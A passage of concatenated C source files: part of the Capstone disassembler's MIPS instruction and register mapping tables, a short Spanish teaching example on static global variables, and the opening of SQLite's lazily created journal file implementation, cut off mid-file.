MIPS_INS_FRSQRT, "frsqrt" }, { MIPS_INS_FSAF, "fsaf" }, { MIPS_INS_FSEQ, "fseq" }, { MIPS_INS_FSLE, "fsle" }, { MIPS_INS_FSLT, "fslt" }, { MIPS_INS_FSNE, "fsne" }, { MIPS_INS_FSOR, "fsor" }, { MIPS_INS_FSQRT, "fsqrt" }, { MIPS_INS_SQRT, "sqrt" }, { MIPS_INS_FSUB, "fsub" }, { MIPS_INS_SUB, "sub" }, { MIPS_INS_FSUEQ, "fsueq" }, { MIPS_INS_FSULE, "fsule" }, { MIPS_INS_FSULT, "fsult" }, { MIPS_INS_FSUNE, "fsune" }, { MIPS_INS_FSUN, "fsun" }, { MIPS_INS_FTINT_S, "ftint_s" }, { MIPS_INS_FTINT_U, "ftint_u" }, { MIPS_INS_FTQ, "ftq" }, { MIPS_INS_FTRUNC_S, "ftrunc_s" }, { MIPS_INS_FTRUNC_U, "ftrunc_u" }, { MIPS_INS_HADD_S, "hadd_s" }, { MIPS_INS_HADD_U, "hadd_u" }, { MIPS_INS_HSUB_S, "hsub_s" }, { MIPS_INS_HSUB_U, "hsub_u" }, { MIPS_INS_ILVEV, "ilvev" }, { MIPS_INS_ILVL, "ilvl" }, { MIPS_INS_ILVOD, "ilvod" }, { MIPS_INS_ILVR, "ilvr" }, { MIPS_INS_INS, "ins" }, { MIPS_INS_INSERT, "insert" }, { MIPS_INS_INSV, "insv" }, { MIPS_INS_INSVE, "insve" }, { MIPS_INS_J, "j" }, { MIPS_INS_JAL, "jal" }, { MIPS_INS_JALR, "jalr" }, { MIPS_INS_JALRS16, "jalrs16" }, { MIPS_INS_JALRS, "jalrs" }, { MIPS_INS_JALS, "jals" }, { MIPS_INS_JALX, "jalx" }, { MIPS_INS_JIALC, "jialc" }, { MIPS_INS_JIC, "jic" }, { MIPS_INS_JR, "jr" }, { MIPS_INS_JR16, "jr16" }, { MIPS_INS_JRADDIUSP, "jraddiusp" }, { MIPS_INS_JRC, "jrc" }, { MIPS_INS_JALRC, "jalrc" }, { MIPS_INS_LB, "lb" }, { MIPS_INS_LBU16, "lbu16" }, { MIPS_INS_LBUX, "lbux" }, { MIPS_INS_LBU, "lbu" }, { MIPS_INS_LD, "ld" }, { MIPS_INS_LDC1, "ldc1" }, { MIPS_INS_LDC2, "ldc2" }, { MIPS_INS_LDC3, "ldc3" }, { MIPS_INS_LDI, "ldi" }, { MIPS_INS_LDL, "ldl" }, { MIPS_INS_LDPC, "ldpc" }, { MIPS_INS_LDR, "ldr" }, { MIPS_INS_LDXC1, "ldxc1" }, { MIPS_INS_LH, "lh" }, { MIPS_INS_LHU16, "lhu16" }, { MIPS_INS_LHX, "lhx" }, { MIPS_INS_LHU, "lhu" }, { MIPS_INS_LI16, "li16" }, { MIPS_INS_LL, "ll" }, { MIPS_INS_LLD, "lld" }, { MIPS_INS_LSA, "lsa" }, { MIPS_INS_LUXC1, "luxc1" }, { MIPS_INS_LUI, "lui" }, { MIPS_INS_LW, "lw" }, { MIPS_INS_LW16, "lw16" }, { MIPS_INS_LWC1, "lwc1" }, { MIPS_INS_LWC2, "lwc2" }, { MIPS_INS_LWC3, "lwc3" }, { MIPS_INS_LWL, "lwl" }, { MIPS_INS_LWM16, "lwm16" }, { MIPS_INS_LWM32, "lwm32" }, { MIPS_INS_LWPC, "lwpc" }, { MIPS_INS_LWP, "lwp" }, { MIPS_INS_LWR, "lwr" }, { MIPS_INS_LWUPC, "lwupc" }, { MIPS_INS_LWU, "lwu" }, { MIPS_INS_LWX, "lwx" }, { MIPS_INS_LWXC1, "lwxc1" }, { MIPS_INS_LWXS, "lwxs" }, { MIPS_INS_LI, "li" }, { MIPS_INS_MADD, "madd" }, { MIPS_INS_MADDF, "maddf" }, { MIPS_INS_MADDR_Q, "maddr_q" }, { MIPS_INS_MADDU, "maddu" }, { MIPS_INS_MADDV, "maddv" }, { MIPS_INS_MADD_Q, "madd_q" }, { MIPS_INS_MAQ_SA, "maq_sa" }, { MIPS_INS_MAQ_S, "maq_s" }, { MIPS_INS_MAXA, "maxa" }, { MIPS_INS_MAXI_S, "maxi_s" }, { MIPS_INS_MAXI_U, "maxi_u" }, { MIPS_INS_MAX_A, "max_a" }, { MIPS_INS_MAX, "max" }, { MIPS_INS_MAX_S, "max_s" }, { MIPS_INS_MAX_U, "max_u" }, { MIPS_INS_MFC0, "mfc0" }, { MIPS_INS_MFC1, "mfc1" }, { MIPS_INS_MFC2, "mfc2" }, { MIPS_INS_MFHC1, "mfhc1" }, { MIPS_INS_MFHI, "mfhi" }, { MIPS_INS_MFLO, "mflo" }, { MIPS_INS_MINA, "mina" }, { MIPS_INS_MINI_S, "mini_s" }, { MIPS_INS_MINI_U, "mini_u" }, { MIPS_INS_MIN_A, "min_a" }, { MIPS_INS_MIN, "min" }, { MIPS_INS_MIN_S, "min_s" }, { MIPS_INS_MIN_U, "min_u" }, { MIPS_INS_MOD, "mod" }, { MIPS_INS_MODSUB, "modsub" }, { MIPS_INS_MODU, "modu" }, { MIPS_INS_MOD_S, "mod_s" }, { MIPS_INS_MOD_U, "mod_u" }, { MIPS_INS_MOVE, "move" }, { MIPS_INS_MOVEP, "movep" }, { MIPS_INS_MOVF, "movf" }, { MIPS_INS_MOVN, "movn" }, { MIPS_INS_MOVT, "movt" }, { MIPS_INS_MOVZ, "movz" }, { MIPS_INS_MSUB, "msub" }, { MIPS_INS_MSUBF, "msubf" }, { MIPS_INS_MSUBR_Q, "msubr_q" }, { MIPS_INS_MSUBU, "msubu" }, { MIPS_INS_MSUBV, "msubv" }, { MIPS_INS_MSUB_Q, "msub_q" }, { MIPS_INS_MTC0, "mtc0" }, { MIPS_INS_MTC1, "mtc1" }, { MIPS_INS_MTC2, "mtc2" }, { MIPS_INS_MTHC1, "mthc1" }, { MIPS_INS_MTHI, "mthi" }, { MIPS_INS_MTHLIP, "mthlip" }, { MIPS_INS_MTLO, "mtlo" }, { MIPS_INS_MTM0, "mtm0" }, { MIPS_INS_MTM1, "mtm1" }, { MIPS_INS_MTM2, "mtm2" }, { MIPS_INS_MTP0, "mtp0" }, { MIPS_INS_MTP1, "mtp1" }, { MIPS_INS_MTP2, "mtp2" }, { MIPS_INS_MUH, "muh" }, { MIPS_INS_MUHU, "muhu" }, { MIPS_INS_MULEQ_S, "muleq_s" }, { MIPS_INS_MULEU_S, "muleu_s" }, { MIPS_INS_MULQ_RS, "mulq_rs" }, { MIPS_INS_MULQ_S, "mulq_s" }, { MIPS_INS_MULR_Q, "mulr_q" }, { MIPS_INS_MULSAQ_S, "mulsaq_s" }, { MIPS_INS_MULSA, "mulsa" }, { MIPS_INS_MULT, "mult" }, { MIPS_INS_MULTU, "multu" }, { MIPS_INS_MULU, "mulu" }, { MIPS_INS_MULV, "mulv" }, { MIPS_INS_MUL_Q, "mul_q" }, { MIPS_INS_MUL_S, "mul_s" }, { MIPS_INS_NLOC, "nloc" }, { MIPS_INS_NLZC, "nlzc" }, { MIPS_INS_NMADD, "nmadd" }, { MIPS_INS_NMSUB, "nmsub" }, { MIPS_INS_NOR, "nor" }, { MIPS_INS_NORI, "nori" }, { MIPS_INS_NOT16, "not16" }, { MIPS_INS_NOT, "not" }, { MIPS_INS_OR, "or" }, { MIPS_INS_OR16, "or16" }, { MIPS_INS_ORI, "ori" }, { MIPS_INS_PACKRL, "packrl" }, { MIPS_INS_PAUSE, "pause" }, { MIPS_INS_PCKEV, "pckev" }, { MIPS_INS_PCKOD, "pckod" }, { MIPS_INS_PCNT, "pcnt" }, { MIPS_INS_PICK, "pick" }, { MIPS_INS_POP, "pop" }, { MIPS_INS_PRECEQU, "precequ" }, { MIPS_INS_PRECEQ, "preceq" }, { MIPS_INS_PRECEU, "preceu" }, { MIPS_INS_PRECRQU_S, "precrqu_s" }, { MIPS_INS_PRECRQ, "precrq" }, { MIPS_INS_PRECRQ_RS, "precrq_rs" }, { MIPS_INS_PRECR, "precr" }, { MIPS_INS_PRECR_SRA, "precr_sra" }, { MIPS_INS_PRECR_SRA_R, "precr_sra_r" }, { MIPS_INS_PREF, "pref" }, { MIPS_INS_PREPEND, "prepend" }, { MIPS_INS_RADDU, "raddu" }, { MIPS_INS_RDDSP, "rddsp" }, { MIPS_INS_RDHWR, "rdhwr" }, { MIPS_INS_REPLV, "replv" }, { MIPS_INS_REPL, "repl" }, { MIPS_INS_RINT, "rint" }, { MIPS_INS_ROTR, "rotr" }, { MIPS_INS_ROTRV, "rotrv" }, { MIPS_INS_ROUND, "round" }, { MIPS_INS_SAT_S, "sat_s" }, { MIPS_INS_SAT_U, "sat_u" }, { MIPS_INS_SB, "sb" }, { MIPS_INS_SB16, "sb16" }, { MIPS_INS_SC, "sc" }, { MIPS_INS_SCD, "scd" }, { MIPS_INS_SD, "sd" }, { MIPS_INS_SDBBP, "sdbbp" }, { MIPS_INS_SDBBP16, "sdbbp16" }, { MIPS_INS_SDC1, "sdc1" }, { MIPS_INS_SDC2, "sdc2" }, { MIPS_INS_SDC3, "sdc3" }, { MIPS_INS_SDL, "sdl" }, { MIPS_INS_SDR, "sdr" }, { MIPS_INS_SDXC1, "sdxc1" }, { MIPS_INS_SEB, "seb" }, { MIPS_INS_SEH, "seh" }, { MIPS_INS_SELEQZ, "seleqz" }, { MIPS_INS_SELNEZ, "selnez" }, { MIPS_INS_SEL, "sel" }, { MIPS_INS_SEQ, "seq" }, { MIPS_INS_SEQI, "seqi" }, { MIPS_INS_SH, "sh" }, { MIPS_INS_SH16, "sh16" }, { MIPS_INS_SHF, "shf" }, { MIPS_INS_SHILO, "shilo" }, { MIPS_INS_SHILOV, "shilov" }, { MIPS_INS_SHLLV, "shllv" }, { MIPS_INS_SHLLV_S, "shllv_s" }, { MIPS_INS_SHLL, "shll" }, { MIPS_INS_SHLL_S, "shll_s" }, { MIPS_INS_SHRAV, "shrav" }, { MIPS_INS_SHRAV_R, "shrav_r" }, { MIPS_INS_SHRA, "shra" }, { MIPS_INS_SHRA_R, "shra_r" }, { MIPS_INS_SHRLV, "shrlv" }, { MIPS_INS_SHRL, "shrl" }, { MIPS_INS_SLDI, "sldi" }, { MIPS_INS_SLD, "sld" }, { MIPS_INS_SLL, "sll" }, { MIPS_INS_SLL16, "sll16" }, { MIPS_INS_SLLI, "slli" }, { MIPS_INS_SLLV, "sllv" }, { MIPS_INS_SLT, "slt" }, { MIPS_INS_SLTI, "slti" }, { MIPS_INS_SLTIU, "sltiu" }, { MIPS_INS_SLTU, "sltu" }, { MIPS_INS_SNE, "sne" }, { MIPS_INS_SNEI, "snei" }, { MIPS_INS_SPLATI, "splati" }, { MIPS_INS_SPLAT, "splat" }, { MIPS_INS_SRA, "sra" }, { MIPS_INS_SRAI, "srai" }, { MIPS_INS_SRARI, "srari" }, { MIPS_INS_SRAR, "srar" }, { MIPS_INS_SRAV, "srav" }, { MIPS_INS_SRL, "srl" }, { MIPS_INS_SRL16, "srl16" }, { MIPS_INS_SRLI, "srli" }, { MIPS_INS_SRLRI, "srlri" }, { MIPS_INS_SRLR, "srlr" }, { MIPS_INS_SRLV, "srlv" }, { MIPS_INS_SSNOP, "ssnop" }, { MIPS_INS_ST, "st" }, { MIPS_INS_SUBQH, "subqh" }, { MIPS_INS_SUBQH_R, "subqh_r" }, { MIPS_INS_SUBQ, "subq" }, { MIPS_INS_SUBQ_S, "subq_s" }, { MIPS_INS_SUBSUS_U, "subsus_u" }, { MIPS_INS_SUBSUU_S, "subsuu_s" }, { MIPS_INS_SUBS_S, "subs_s" }, { MIPS_INS_SUBS_U, "subs_u" }, { MIPS_INS_SUBU16, "subu16" }, { MIPS_INS_SUBUH, "subuh" }, { MIPS_INS_SUBUH_R, "subuh_r" }, { MIPS_INS_SUBU, "subu" }, { MIPS_INS_SUBU_S, "subu_s" }, { MIPS_INS_SUBVI, "subvi" }, { MIPS_INS_SUBV, "subv" }, { MIPS_INS_SUXC1, "suxc1" }, { MIPS_INS_SW, "sw" }, { MIPS_INS_SW16, "sw16" }, { MIPS_INS_SWC1, "swc1" }, { MIPS_INS_SWC2, "swc2" }, { MIPS_INS_SWC3, "swc3" }, { MIPS_INS_SWL, "swl" }, { MIPS_INS_SWM16, "swm16" }, { MIPS_INS_SWM32, "swm32" }, { MIPS_INS_SWP, "swp" }, { MIPS_INS_SWR, "swr" }, { MIPS_INS_SWXC1, "swxc1" }, { MIPS_INS_SYNC, "sync" }, { MIPS_INS_SYNCI, "synci" }, { MIPS_INS_SYSCALL, "syscall" }, { MIPS_INS_TEQ, "teq" }, { MIPS_INS_TEQI, "teqi" }, { MIPS_INS_TGE, "tge" }, { MIPS_INS_TGEI, "tgei" }, { MIPS_INS_TGEIU, "tgeiu" }, { MIPS_INS_TGEU, "tgeu" }, { MIPS_INS_TLBP, "tlbp" }, { MIPS_INS_TLBR, "tlbr" }, { MIPS_INS_TLBWI, "tlbwi" }, { MIPS_INS_TLBWR, "tlbwr" }, { MIPS_INS_TLT, "tlt" }, { MIPS_INS_TLTI, "tlti" }, { MIPS_INS_TLTIU, "tltiu" }, { MIPS_INS_TLTU, "tltu" }, { MIPS_INS_TNE, "tne" }, { MIPS_INS_TNEI, "tnei" }, { MIPS_INS_TRUNC, "trunc" }, { MIPS_INS_V3MULU, "v3mulu" }, { MIPS_INS_VMM0, "vmm0" }, { MIPS_INS_VMULU, "vmulu" }, { MIPS_INS_VSHF, "vshf" }, { MIPS_INS_WAIT, "wait" }, { MIPS_INS_WRDSP, "wrdsp" }, { MIPS_INS_WSBH, "wsbh" }, { MIPS_INS_XOR, "xor" }, { MIPS_INS_XOR16, "xor16" }, { MIPS_INS_XORI, "xori" }, // alias instructions { MIPS_INS_NOP, "nop" }, { MIPS_INS_NEGU, "negu" }, { MIPS_INS_JALR_HB, "jalr.hb" }, { MIPS_INS_JR_HB, "jr.hb" }, }; const char *Mips_insn_name(csh handle, unsigned int id) { #ifndef CAPSTONE_DIET if (id >= MIPS_INS_ENDING) return NULL; return insn_name_maps[id].name; #else return NULL; #endif } #ifndef CAPSTONE_DIET static const name_map group_name_maps[] = { // generic groups { MIPS_GRP_INVALID, NULL }, { MIPS_GRP_JUMP, "jump" }, { MIPS_GRP_CALL, "call" }, { MIPS_GRP_RET, "ret" }, { MIPS_GRP_INT, "int" }, { MIPS_GRP_IRET, "iret" }, { MIPS_GRP_PRIVILEGE, "privileged" }, { MIPS_GRP_BRANCH_RELATIVE, "branch_relative" }, // architecture-specific groups { MIPS_GRP_BITCOUNT, "bitcount" }, { MIPS_GRP_DSP, "dsp" }, { MIPS_GRP_DSPR2, "dspr2" }, { MIPS_GRP_FPIDX, "fpidx" }, { MIPS_GRP_MSA, "msa" }, { MIPS_GRP_MIPS32R2, "mips32r2" }, { MIPS_GRP_MIPS64, "mips64" }, { MIPS_GRP_MIPS64R2, "mips64r2" }, { MIPS_GRP_SEINREG, "seinreg" }, { MIPS_GRP_STDENC, "stdenc" }, { MIPS_GRP_SWAP, "swap" }, { MIPS_GRP_MICROMIPS, "micromips" }, { MIPS_GRP_MIPS16MODE, "mips16mode" }, { MIPS_GRP_FP64BIT, "fp64bit" }, { MIPS_GRP_NONANSFPMATH, "nonansfpmath" }, { MIPS_GRP_NOTFP64BIT, "notfp64bit" }, { MIPS_GRP_NOTINMICROMIPS, "notinmicromips" }, { MIPS_GRP_NOTNACL, "notnacl" }, { MIPS_GRP_NOTMIPS32R6, "notmips32r6" }, { MIPS_GRP_NOTMIPS64R6, "notmips64r6" }, { MIPS_GRP_CNMIPS, "cnmips" }, { MIPS_GRP_MIPS32, "mips32" }, { MIPS_GRP_MIPS32R6, "mips32r6" }, { MIPS_GRP_MIPS64R6, "mips64r6" }, { MIPS_GRP_MIPS2, "mips2" }, { MIPS_GRP_MIPS3, "mips3" }, { MIPS_GRP_MIPS3_32, "mips3_32"}, { MIPS_GRP_MIPS3_32R2, "mips3_32r2" }, { MIPS_GRP_MIPS4_32, "mips4_32" }, { MIPS_GRP_MIPS4_32R2, "mips4_32r2" }, { MIPS_GRP_MIPS5_32R2, "mips5_32r2" }, { MIPS_GRP_GP32BIT, "gp32bit" }, { MIPS_GRP_GP64BIT, "gp64bit" }, }; #endif const char *Mips_group_name(csh handle, unsigned int id) { #ifndef CAPSTONE_DIET return id2name(group_name_maps, ARR_SIZE(group_name_maps), id); #else return NULL; #endif } // map instruction name to public instruction ID mips_reg Mips_map_insn(const char *name) { // handle special alias first unsigned int i; // NOTE: skip first NULL name in insn_name_maps i = name2id(&insn_name_maps[1], ARR_SIZE(insn_name_maps) - 1, name); return (i != -1)? i : MIPS_REG_INVALID; } // map internal raw register to 'public' register mips_reg Mips_map_register(unsigned int r) { // for some reasons different Mips modes can map different register number to // the same Mips register. this function handles the issue for exposing Mips // operands by mapping internal registers to 'public' register. static const unsigned int map[] = { 0, MIPS_REG_AT, MIPS_REG_DSPCCOND, MIPS_REG_DSPCARRY, MIPS_REG_DSPEFI, MIPS_REG_DSPOUTFLAG, MIPS_REG_DSPPOS, MIPS_REG_DSPSCOUNT, MIPS_REG_FP, MIPS_REG_GP, MIPS_REG_2, MIPS_REG_1, MIPS_REG_0, MIPS_REG_6, MIPS_REG_4, MIPS_REG_5, MIPS_REG_3, MIPS_REG_7, MIPS_REG_PC, MIPS_REG_RA, MIPS_REG_SP, MIPS_REG_ZERO, MIPS_REG_A0, MIPS_REG_A1, MIPS_REG_A2, MIPS_REG_A3, MIPS_REG_AC0, MIPS_REG_AC1, MIPS_REG_AC2, MIPS_REG_AC3, MIPS_REG_AT, MIPS_REG_CC0, MIPS_REG_CC1, MIPS_REG_CC2, MIPS_REG_CC3, MIPS_REG_CC4, MIPS_REG_CC5, MIPS_REG_CC6, MIPS_REG_CC7, MIPS_REG_0, MIPS_REG_1, MIPS_REG_2, MIPS_REG_3, MIPS_REG_4, MIPS_REG_5, MIPS_REG_6, MIPS_REG_7, MIPS_REG_8, MIPS_REG_9, MIPS_REG_0, MIPS_REG_1, MIPS_REG_2, MIPS_REG_3, MIPS_REG_4, MIPS_REG_5, MIPS_REG_6, MIPS_REG_7, MIPS_REG_8, MIPS_REG_9, MIPS_REG_10, MIPS_REG_11, MIPS_REG_12, MIPS_REG_13, MIPS_REG_14, MIPS_REG_15, MIPS_REG_16, MIPS_REG_17, MIPS_REG_18, MIPS_REG_19, MIPS_REG_20, MIPS_REG_21, MIPS_REG_22, MIPS_REG_23, MIPS_REG_24, MIPS_REG_25, MIPS_REG_26, MIPS_REG_27, MIPS_REG_28, MIPS_REG_29, MIPS_REG_30, MIPS_REG_31, MIPS_REG_10, MIPS_REG_11, MIPS_REG_12, MIPS_REG_13, MIPS_REG_14, MIPS_REG_15, MIPS_REG_16, MIPS_REG_17, MIPS_REG_18, MIPS_REG_19, MIPS_REG_20, MIPS_REG_21, MIPS_REG_22, MIPS_REG_23, MIPS_REG_24, MIPS_REG_25, MIPS_REG_26, MIPS_REG_27, MIPS_REG_28, MIPS_REG_29, MIPS_REG_30, MIPS_REG_31, MIPS_REG_F0, MIPS_REG_F2, MIPS_REG_F4, MIPS_REG_F6, MIPS_REG_F8, MIPS_REG_F10, MIPS_REG_F12, MIPS_REG_F14, MIPS_REG_F16, MIPS_REG_F18, MIPS_REG_F20, MIPS_REG_F22, MIPS_REG_F24, MIPS_REG_F26, MIPS_REG_F28, MIPS_REG_F30, MIPS_REG_DSPOUTFLAG20, MIPS_REG_DSPOUTFLAG21, MIPS_REG_DSPOUTFLAG22, MIPS_REG_DSPOUTFLAG23, MIPS_REG_F0, MIPS_REG_F1, MIPS_REG_F2, MIPS_REG_F3, MIPS_REG_F4, MIPS_REG_F5, MIPS_REG_F6, MIPS_REG_F7, MIPS_REG_F8, MIPS_REG_F9, MIPS_REG_F10, MIPS_REG_F11, MIPS_REG_F12, MIPS_REG_F13, MIPS_REG_F14, MIPS_REG_F15, MIPS_REG_F16, MIPS_REG_F17, MIPS_REG_F18, MIPS_REG_F19, MIPS_REG_F20, MIPS_REG_F21, MIPS_REG_F22, MIPS_REG_F23, MIPS_REG_F24, MIPS_REG_F25, MIPS_REG_F26, MIPS_REG_F27, MIPS_REG_F28, MIPS_REG_F29, MIPS_REG_F30, MIPS_REG_F31, MIPS_REG_FCC0, MIPS_REG_FCC1, MIPS_REG_FCC2, MIPS_REG_FCC3, MIPS_REG_FCC4, MIPS_REG_FCC5, MIPS_REG_FCC6, MIPS_REG_FCC7, MIPS_REG_0, MIPS_REG_1, MIPS_REG_2, MIPS_REG_3, MIPS_REG_4, MIPS_REG_5, MIPS_REG_6, MIPS_REG_7, MIPS_REG_8, MIPS_REG_9, MIPS_REG_10, MIPS_REG_11, MIPS_REG_12, MIPS_REG_13, MIPS_REG_14, MIPS_REG_15, MIPS_REG_16, MIPS_REG_17, MIPS_REG_18, MIPS_REG_19, MIPS_REG_20, MIPS_REG_21, MIPS_REG_22, MIPS_REG_23, MIPS_REG_24, MIPS_REG_25, MIPS_REG_26, MIPS_REG_27, MIPS_REG_28, MIPS_REG_29, MIPS_REG_30, MIPS_REG_31, MIPS_REG_FP, MIPS_REG_F0, MIPS_REG_F1, MIPS_REG_F2, MIPS_REG_F3, MIPS_REG_F4, MIPS_REG_F5, MIPS_REG_F6, MIPS_REG_F7, MIPS_REG_F8, MIPS_REG_F9, MIPS_REG_F10, MIPS_REG_F11, MIPS_REG_F12, MIPS_REG_F13, MIPS_REG_F14, MIPS_REG_F15, MIPS_REG_F16, MIPS_REG_F17, MIPS_REG_F18, MIPS_REG_F19, MIPS_REG_F20, MIPS_REG_F21, MIPS_REG_F22, MIPS_REG_F23, MIPS_REG_F24, MIPS_REG_F25, MIPS_REG_F26, MIPS_REG_F27, MIPS_REG_F28, MIPS_REG_F29, MIPS_REG_F30, MIPS_REG_F31, MIPS_REG_GP, MIPS_REG_AC0, MIPS_REG_AC1, MIPS_REG_AC2, MIPS_REG_AC3, 0, 0, 0, 0, MIPS_REG_4, MIPS_REG_5, MIPS_REG_6, MIPS_REG_7, MIPS_REG_8, MIPS_REG_9, MIPS_REG_10, MIPS_REG_11, MIPS_REG_12, MIPS_REG_13, MIPS_REG_14, MIPS_REG_15, MIPS_REG_16, MIPS_REG_17, MIPS_REG_18, MIPS_REG_19, MIPS_REG_20, MIPS_REG_21, MIPS_REG_22, MIPS_REG_23, MIPS_REG_24, MIPS_REG_25, MIPS_REG_26, MIPS_REG_27, MIPS_REG_28, MIPS_REG_29, MIPS_REG_30, MIPS_REG_31, MIPS_REG_K0, MIPS_REG_K1, MIPS_REG_AC0, MIPS_REG_AC1, MIPS_REG_AC2, MIPS_REG_AC3, MIPS_REG_MPL0, MIPS_REG_MPL1, MIPS_REG_MPL2, MIPS_REG_P0, MIPS_REG_P1, MIPS_REG_P2, MIPS_REG_RA, MIPS_REG_S0, MIPS_REG_S1, MIPS_REG_S2, MIPS_REG_S3, MIPS_REG_S4, MIPS_REG_S5, MIPS_REG_S6, MIPS_REG_S7, MIPS_REG_SP, MIPS_REG_T0, MIPS_REG_T1, MIPS_REG_T2, MIPS_REG_T3, MIPS_REG_T4, MIPS_REG_T5, MIPS_REG_T6, MIPS_REG_T7, MIPS_REG_T8, MIPS_REG_T9, MIPS_REG_V0, MIPS_REG_V1, MIPS_REG_W0, MIPS_REG_W1, MIPS_REG_W2, MIPS_REG_W3, MIPS_REG_W4, MIPS_REG_W5, MIPS_REG_W6, MIPS_REG_W7, MIPS_REG_W8, MIPS_REG_W9, MIPS_REG_W10, MIPS_REG_W11, MIPS_REG_W12, MIPS_REG_W13, MIPS_REG_W14, MIPS_REG_W15, MIPS_REG_W16, MIPS_REG_W17, MIPS_REG_W18, MIPS_REG_W19, MIPS_REG_W20, MIPS_REG_W21, MIPS_REG_W22, MIPS_REG_W23, MIPS_REG_W24, MIPS_REG_W25, MIPS_REG_W26, MIPS_REG_W27, MIPS_REG_W28, MIPS_REG_W29, MIPS_REG_W30, MIPS_REG_W31, MIPS_REG_ZERO, MIPS_REG_A0, MIPS_REG_A1, MIPS_REG_A2, MIPS_REG_A3, MIPS_REG_AC0, MIPS_REG_F0, MIPS_REG_F1, MIPS_REG_F2, MIPS_REG_F3, MIPS_REG_F4, MIPS_REG_F5, MIPS_REG_F6, MIPS_REG_F7, MIPS_REG_F8, MIPS_REG_F9, MIPS_REG_F10, MIPS_REG_F11, MIPS_REG_F12, MIPS_REG_F13, MIPS_REG_F14, MIPS_REG_F15, MIPS_REG_F16, MIPS_REG_F17, MIPS_REG_F18, MIPS_REG_F19, MIPS_REG_F20, MIPS_REG_F21, MIPS_REG_F22, MIPS_REG_F23, MIPS_REG_F24, MIPS_REG_F25, MIPS_REG_F26, MIPS_REG_F27, MIPS_REG_F28, MIPS_REG_F29, MIPS_REG_F30, MIPS_REG_F31, MIPS_REG_DSPOUTFLAG16_19, MIPS_REG_HI, MIPS_REG_K0, MIPS_REG_K1, MIPS_REG_LO, MIPS_REG_S0, MIPS_REG_S1, MIPS_REG_S2, MIPS_REG_S3, MIPS_REG_S4, MIPS_REG_S5, MIPS_REG_S6, MIPS_REG_S7, MIPS_REG_T0, MIPS_REG_T1, MIPS_REG_T2, MIPS_REG_T3, MIPS_REG_T4, MIPS_REG_T5, MIPS_REG_T6, MIPS_REG_T7, MIPS_REG_T8, MIPS_REG_T9, MIPS_REG_V0, MIPS_REG_V1 }; if (r < ARR_SIZE(map)) return map[r]; // cannot find this register return 0; } #endif
the_stack_data/87637715.c
/*! * @file main.c * @brief 06. Funciones - Argumentos por Valor - 04. Variables globales (al * módulo) * @author Javier Balloffet <[email protected]> * @date Sep 7, 2018 */ #include <stdio.h> // Declaro la variable "number" como global (al módulo main.c). static int number = 1; void increment(); int main(void) { // Invoco a "increment" y muestro el valor de "number" antes y después de // llamar a la función. printf("Valor de \"number\" en main() antes de incrementar = %d\n", number); increment(); printf("Valor de \"number\" en main() despues de incrementar = %d\n", number); return 0; } void increment() { // Muestro el valor de "number" antes y después de incrementar. printf("Valor de \"number\" en increment() antes de incrementar = %d\n", number); number++; printf("Valor de \"number\" en increment() despues de incrementar = %d\n", number); }
the_stack_data/133549.c
/* ** 2007 August 22 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** ** @(#) $Id: journal.c,v 1.7 2007/09/06 13:49:37 drh Exp $ */ #ifdef SQLITE_ENABLE_ATOMIC_WRITE /* ** This file implements a special kind of sqlite3_file object used ** by SQLite to create journal files if the atomic-write optimization ** is enabled. ** ** The distinctive characteristic of this sqlite3_file is that the ** actual on disk file is created lazily. When the file is created, ** the caller specifies a buffer size for an in-memory buffer to ** be used to service read() and write() requests. The actual file ** on disk is not created or populated until either: ** ** 1) The in-memory representation grows too large for the allocated ** buffer, or ** 2) The xSync() method is called. */ #include "sqliteInt.h" /* ** A JournalFile object is a subclass of sqlite3_file used by ** as an open file handle for journal files. */ struct JournalFile { sqlite3_io_methods *pMethod; /* I/O methods on journal files */ int nBuf; /* Size of zBuf[] in bytes */ char *zBuf; /* Space to buffer journal writes */ int iSize; /* Amount of zBuf[] currently used */ int flags; /* xOpen flags */ sqlite3_vfs *pVfs; /* The "real" underlying VFS */ sqlite3_file *pReal; /* The "real" underlying file descriptor */ const char *zJournal; /* Name of the journal file */ }; typedef struct JournalFile JournalFile; /* ** If it does not already exists, create and populate the on-disk file ** for JournalFile p. */ static int createFile(JournalFile *p){ int rc = SQLITE_OK; if( !p->pReal ){ sqlite3_file *pReal = (sqlite3_file *)&p[1]; rc = sqlite3OsOpen(p->pVfs, p->zJournal, pReal, p->flags, 0); if( rc==SQLITE_OK ){ p->pReal = pReal; if( p->iSize>0 ){ assert(p->iSize<=p->nBuf); rc = sqlite3OsWrite(p->pReal, p->zBuf, p->iSize, 0); } } } return rc; } /* ** Close the file. */ static int jrnlClose(sqlite3_file *pJfd){ JournalFile *p = (JournalFile *)pJfd; if( p->pReal ){ sqlite3OsClose(p->pReal); } sqlite3_free(p->zBuf); return SQLITE_OK; } /* ** Read data from the file. */ static int jrnlRead( sqlite3_file *pJfd, /* The journal file from which to read */ void *zBuf, /* Put the results here */ int iAmt, /* Number of bytes to read */ sqlite_int64 iOfst /* Begin reading at this offset */ ){ int rc = SQLITE_OK; JournalFile *p = (JournalFile *)pJfd; if( p->pReal ){ rc = sqlite3OsRead(p->pReal, zBuf, iAmt, iOfst); }else{ assert( iAmt+iOfst<=p->iSize ); memcpy(zBuf, &p->zBuf[iOfst], iAmt); } return rc; } /* ** Write data to the file. */ static int jrnlWrite( sqlite3_file *pJfd, /* The journal file into which to write */ const void *zBuf, /* Take data to be written from here */ int iAmt, /* Number of bytes to write */ sqlite_int64 iOfst /* Begin writing at this offset into the file */ ){ int rc = SQLITE_OK; JournalFile *p = (JournalFile *)pJfd; if( !p->pReal && (iOfst+iAmt)>p->nBuf ){ rc = createFile(p); } if( rc==SQLITE_OK ){ if( p->pReal ){ rc = sqlite3OsWrite(p->pReal, zBuf, iAmt, iOfst); }else{ memcpy(&p->zBuf[iOfst], zBuf, iAmt); if( p->iSize<(iOfst+iAmt) ){ p->iSize = (iOfst+iAmt); } } } return rc; } /* ** Truncate the file. */ static int jrnlTruncate(sqlite3_file *pJfd, sqlite_int64 size){ int rc = SQLITE_OK; JournalFile *p = (JournalFile *)pJfd; if( p->pReal ){ rc = sqlite3OsTruncate(p->pReal, size); }else if( size<p->iSize ){ p->iSize = size; } return rc; } /* ** Sync the file. */ static int jrnlSync(sqlite3_file *pJfd, int flags){ int rc; JournalFile *p = (JournalFile *)pJfd; rc = createFile(p); if( rc==SQLITE_OK ){ rc = sqlite3OsSync(p->pReal, flags); } return rc; } /* ** Query the size of the file in bytes. */ static int 